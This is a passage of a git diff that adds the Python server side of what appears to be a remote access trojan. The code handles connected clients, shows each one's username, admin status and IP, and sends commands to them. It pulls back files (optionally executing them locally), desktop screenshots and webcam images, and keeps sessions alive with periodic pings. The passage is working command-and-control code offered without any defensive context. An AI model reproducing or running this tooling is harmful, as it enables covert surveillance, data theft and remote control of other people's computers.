{Style.RESET_ALL}{self.theme[3]}{item}{self.theme[1]}' + print(f'{self.theme[1]}USER: {self.theme[3]}{conn[2]}{Style.RESET_ALL}{self.theme[1]}\nADMIN: {self.theme[3]}{conn[3]}{Style.RESET_ALL}{self.theme[1]}\nIP: {Style.RESET_ALL}{self.theme[3]}{conn[1][0]}{Style.RESET_ALL}{self.theme[1]}\nPORT: {Style.RESET_ALL}{self.theme[3]}{conn[1][1]}{Style.RESET_ALL}{info}', end='') + if target is None: + continue + else: + print('\n') + Server.filter_client = None + break + + # Session time + elif Server.msg.lower() == 'time': + print(f'{self.theme[1]}Session Start: [{Style.RESET_ALL}{self.theme[0]}{Server.sessionTime}{Style.RESET_ALL}{self.theme[1]}]{Style.RESET_ALL}') + print(f'{self.theme[1]}Current time: [{Style.RESET_ALL}{self.theme[2]}{timer()}{Style.RESET_ALL}{self.theme[1]}]{Style.RESET_ALL}', end='') + if target is None: + continue + else: + print('\n') + Server.filter_client = None + break + + # Clear + elif Server.msg.lower() == 'clear' or Server.msg.lower() == 'cls': + clear_screen() + if target is None: + Server.session_clear_screen = True + continue + else: + Server.filter_client = None + break + + # Exit + elif Server.msg.lower() == 'exit' or Server.msg.lower() == 'quit': + print(f'{self.theme[2]}Session start: [{Style.RESET_ALL}{self.theme[0]}{Server.runningTime}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}') + print(f'{self.theme[2]}Session end: [{Style.RESET_ALL}{self.theme[1]}{timer()}{Style.RESET_ALL}{self.theme[2]}]\n{Style.RESET_ALL}') + print(f'{self.theme[4]}{conn[2]}\'s session quit successfully!\n{Style.RESET_ALL}') + # Reset filter client + Server.filter_client = None + break + + # Send to client + else: + conn[0].send(final_msg) + + # Receive from client + while True: + # Recived buffer + client_msg = conn[0].recv(81920) + + # New msg + if Server.new_msg: + Server.msg_len = int(client_msg[:Server.headersize]) + Server.new_msg = False + + # Append to full_msg + Server.full_msg += client_msg + + # Recived full msg + if len(Server.full_msg)-Server.headersize == Server.msg_len: + decrypted_msg = Server.encrypt.do_decrypt(Server.full_msg[Server.headersize:]) + decompressed_msg = zlib.decompress(decrypted_msg) + client_msg = pickle.loads(decompressed_msg)['message'].replace('ÿ', ' ') + pickled_data = pickle.loads(decompressed_msg) + result = f'{self.theme[1]}{client_msg}{Style.RESET_ALL}' + + # Download + if Server.msg[:8].lower() == 'download': + try: + assert pickled_data['download'] + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Downloads'] + setup_directory(dirs) + args = Server.msg[9:] + if Server.msg[-2:].lower() == '-e': + args = Server.msg[9:-3] + with open(f'{os.getcwd()}/{dirs[-1]}/{args}', 'wb') as f: + f.write(pickled_data['download']) + if Server.msg[-2:].lower() == '-e': + Popen(f'{os.getcwd()}/{dirs[-1]}/{args}', shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) + except: + pass + finally: + print(result, end='') + + # Download screenshot + elif Server.msg.lower() == 'screenshot' or Server.msg.lower() == 'screenshot -s': + try: + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Screenshots'] + setup_directory(dirs) + fn = time.strftime('%Y-%m-%d (%H-%M-%S).png') + img = Image.fromarray(pickled_data['screenshot'], 'RGB') + img.save(f'{os.getcwd()}/{dirs[-1]}/{fn}') + if Server.msg[-2:].lower() == '-s': + img.show() + except: + pass + finally: + print(result, end='') + + # Download webcam screenshot + elif Server.msg[:6].lower() == 'webcam': + try: + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Webcam'] + setup_directory(dirs) + fn = time.strftime('%Y-%m-%d (%H-%M-%S).png') + img = Image.fromarray(pickled_data['webcam']) + b, g, r = img.split() + img = Image.merge('RGB', (r, g, b)) + img.save(f'{os.getcwd()}/{dirs[-1]}/{fn}') + if Server.msg[-2:].lower() == '-s': + img.show() + except: + pass + finally: + print(result, end='') + + # Save stdout & as an image + elif stdout_save[-5:].lower() == '-b -i' or stdout_save[-5:].lower() == '-i -b': + try: + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Stdout', f'Data/{conn[2]}/Stdout', f'Data/{conn[2]}/Stdout/Images'] + setup_directory(dirs) + fn = time.strftime('%Y-%m-%d (%H-%M-%S)') + # Text + with open(f'{os.getcwd()}/{dirs[-2]}/{stdout_save[:-6]}--{fn}.txt', 'wb') as f: + f.write(bytes(client_msg, self.encoding)) + # Image + image = text_image(client_msg) + image.show() + image.save(f'{os.getcwd()}/{dirs[-1]}/{stdout_save[:-6]}--{fn}.png') + print(result, end='') + except: + print(f'{self.theme[1]}Failed to backup command & image result.\n\n{Style.RESET_ALL}', end='') + + # Save stdout + elif stdout_save[-2:].lower() == '-b': + try: + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Stdout'] + setup_directory(dirs) + fn = time.strftime('%Y-%m-%d (%H-%M-%S).txt') + with open(f'{os.getcwd()}/{dirs[-1]}/{stdout_save[:-3]}--{fn}', 'wb') as f: + f.write(bytes(client_msg, self.encoding)) + print(result, end='') + except: + print(f'{self.theme[1]}Failed to backup command result.\n\n{Style.RESET_ALL}', end='') + + # Save stdout as an image + elif stdout_save[-2:].lower() == '-i': + try: + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Stdout', f'Data/{conn[2]}/Stdout/Images'] + setup_directory(dirs) + fn = time.strftime('%Y-%m-%d (%H-%M-%S).png') + image = text_image(client_msg) + image.show() + image.save(f'{os.getcwd()}/{dirs[-1]}/{stdout_save[:-3]}--{fn}') + print(result, end='') + except: + print(f'{self.theme[1]}Failed to backup image result.\n\n{Style.RESET_ALL}', end='') + + # Print stdout + else: + if stdout: + print(result, end='') + + # Reset + Server.new_msg = True + Server.msg_len = 0 + Server.full_msg = b'' + break + except KeyboardInterrupt: + print(f'{self.theme[4]}Keyboard interrupt{Style.RESET_ALL}') + if target is None: + continue + else: + break + except TimeoutError: + print(f'{self.theme[4]}Your session has timed out, because of inactivity,\nor by having submitted an empty response.\n{Style.RESET_ALL}') + # Reset filter client + Server.filter_client = None + break + except KeyError: + # Reset filter client + Server.filter_client = None + break + except: + if stdout: + print(f'{self.theme[0]}Session start: [{Server.sessionTime}]{Style.RESET_ALL}{Style.RESET_ALL}') + print(f'{self.theme[1]}Session end: [{timer()}]{Style.RESET_ALL}') + print(f'{self.theme[4]}\nLost connection to client\n{Style.RESET_ALL}') + # Reset filter client + Server.filter_client = None + if target is not None: + return True + break + if target is not None: + if stdout: + print(end='\n\n') + Server.filter_client = None + break + + + """ + To send simple text message, not handling for + any modules or special commands like screenshot + or download. + """ + def send_message(self, conn, message): + pickled_msg = pickle.dumps({'message': message}) + compressed_msg = zlib.compress(pickled_msg, 1) + encrypted_msg = Server.encrypt.do_encrypt(compressed_msg) + final_msg = bytes(f'{len(encrypted_msg):<{Server.headersize}}', self.encoding) + encrypted_msg + conn.send(final_msg) + + while True: + # Recived buffer + client_msg = conn.recv(81920) + + # New msg + if Server.new_msg: + Server.msg_len = int(client_msg[:Server.headersize]) + Server.new_msg = False + + # Append to full_msg + Server.full_msg += client_msg + + # Recived full msg + if len(Server.full_msg)-Server.headersize == Server.msg_len: + decrypted_msg = Server.encrypt.do_decrypt(Server.full_msg[Server.headersize:]) + decompressed_msg = zlib.decompress(decrypted_msg) + client_msg = pickle.loads(decompressed_msg)['message'] + + # Reset + Server.new_msg = True + Server.msg_len = 0 + Server.full_msg = b'' + return client_msg + + + """ + Doesn't skip printing out connection if an index is cut out of the list, + it also handles for long list. It handles for no connections & removing + dead connections. It also displays the correct index even after deleting + a connection before others in the list. + + To achieve this: + * Set connection no None + * Set index to -1 for every deleted connection + * Handle for long flag + * Handle for 0 connections + """ + def list_connections(self, l): + len_conns = len(Server.connections) + results = '' + i = 0 + for index, conn in enumerate(Server.connections): + index += i + try: + x = self.session(self.getConn(index), True, 'aij4oaw4orn12u9w5ar7', False) + if x is not None: + raise Exception('Connection Error') + info = '' + + if l: + for typez, item in Server.information[index]: + info += f'\n{self.theme[2]}{typez}{Style.RESET_ALL}{self.theme[2]}[{Style.RESET_ALL}{self.theme[3]}{item}{self.theme[2]}]' + + if l and len_conns > 1: + info += '\n' + + results += f'{self.theme[2]}{Server.usernames[index]}[{Style.RESET_ALL}{self.theme[3]}{index}{Style.RESET_ALL}{self.theme[2]}] ADMIN[{Style.RESET_ALL}{self.theme[3]}{Server.priveldges[index]}{Style.RESET_ALL}{self.theme[2]}] IP[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[index][0]}{Style.RESET_ALL}{self.theme[2]}] PORT[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[index][1]}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}{info}\n' + except: + Server.connections[index] = None + len_conns -= 1 + i -= 1 + + for i, conn in enumerate(Server.connections): + if conn is None: + self.delete_client(i, Server.usernames[i]) + + counter = f'{self.theme[2]}Number of connected clients ({Style.RESET_ALL}{self.theme[3]}{len_conns}{Style.RESET_ALL}{self.theme[2]})\n{Style.RESET_ALL}{self.theme[3]}{"-" * (30 + len(str(len_conns)))}\n{Style.RESET_ALL}' + + if len_conns == 0: + results = f'{results}{self.theme[1]}No clients connected\n{Style.RESET_ALL}' + + if l and len_conns > 1: + print(f'{self.theme[2]}{counter}{results}{Style.RESET_ALL}', end='') + else: + print(f'{self.theme[2]}{counter}{results}{Style.RESET_ALL}') + + + """ + Delete client is a vital method to clean up & remove + any unwanted connection, it's used all throughout the + program if the connection is lost or is wanted to be closed. + """ + def delete_client(self, index, user): + if self.history: + now = time.strftime('%Y-%m-%d (%H-%M-%S)') + + if user == '*': + for i, conn in enumerate(Server.connections): + dirs = ['Data', f'Data/{Server.usernames[i]}'] + setup_directory(dirs) + with open(f'{os.getcwd()}/Data/{Server.usernames[i]}/History.txt', 'a') as f: + msg = f'DISCONNECTED: ({now})' + f.write(f'{msg}\n{"-" * len(msg)}\n') + else: + dirs = ['Data', f'Data/{user}'] + setup_directory(dirs) + with open(f'{os.getcwd()}/Data/{user}/History.txt', 'a') as f: + msg = f'DISCONNECTED: ({now})' + f.write(f'{msg}\n{"-" * len(msg)}\n') + + if self.console_notice: + now = time.strftime('%H:%M') + msg = '' + if user == '*' or index == ':': + msg = 'All clients disconnected.' + else: + msg = f'{Server.usernames[index]} Disconnected. ({now})\nAddress: {Server.addresses[index][0]}:{Server.addresses[index][1]}' + now = time.strftime('%H:%M') + Server.toaster.show_toast('Disconnection Notice!', msg, icon_path=None, duration=5, threaded=True) + + if index == ':': + for connection in Server.connections: + connection.close() + del Server.connections[:] + del Server.addresses[:] + del Server.usernames[:] + del Server.priveldges[:] + del Server.information[:] + else: + try: + Server.connections[index].close() + except: + pass + del Server.connections[index] + del Server.addresses[index] + del Server.usernames[index] + del Server.priveldges[index] + del Server.information[index] + + + """ + GetConn provides the complete data available for + a specific user with the index as the only criteria. + This method is passed in when calling session for + user specific interaction. + """ + def getConn(self, target): + conn = Server.connections[target] + addr = Server.addresses[target] + username = Server.usernames[target] + privledge = Server.priveldges[target] + info = Server.information[target] + return (conn, addr, username, privledge, info) + + + """ + KeepAlive provides data to be sent to every client in + order to prevent the socket being closed after inactivity. + This is vital especially when dealing with multiple clients + & would be alot of effort to keep them all alive manually. + Without this method most Windows sockets close after 10 minutes + of inactivity. + """ + def keepAlive(self): + while True: + counter = 0 + + while counter < Server.keep_alive_timer: + time.sleep(1) + counter += 1 + + if counter == Server.keep_alive_timer: + for index, conn in enumerate(Server.connections): + if Server.addresses[index][1] != Server.filter_client: + try: + self.send_message(conn, 'aij4oaw4orn12u9w5ar7') + except: + self.delete_client(index, Server.usernames[index]) + break + + + """ + These three methods is simply queuing up & threading + the main methods of the Server class to work asynchronously. + """ + def workers(self): + for _ in range(Server.threads): + threading.Thread(target=self.work, daemon=True).start() + + + def work(self): + while True: + work = Server.q.get() + if work == 1: + self.listen() + self.accept() + if work == 2: + self.shell() + Server.q.task_done() + + + def create_jobs(self): + for job in Server.jobs: + Server.q.put(job) + Server.q.join() + + +""" + Instantiate the Server object with the parsed arguments + provided by the argparse module & run the neccesary + methods as long as it is ran from the main file. +""" +if __name__ == '__main__': + try: + db_data = get_module_data() + server = Server(db_data[1], db_data[2], args.username, args.theme, args.encoding, args.notice, args.email_notice.split(','), args.duplicates, args.whoami, args.history, args.banner, db_data[3].split(',')) + server.workers() + server.create_jobs() + except: + os._exit(0) \ No newline at end of file -- cgit v1.2.3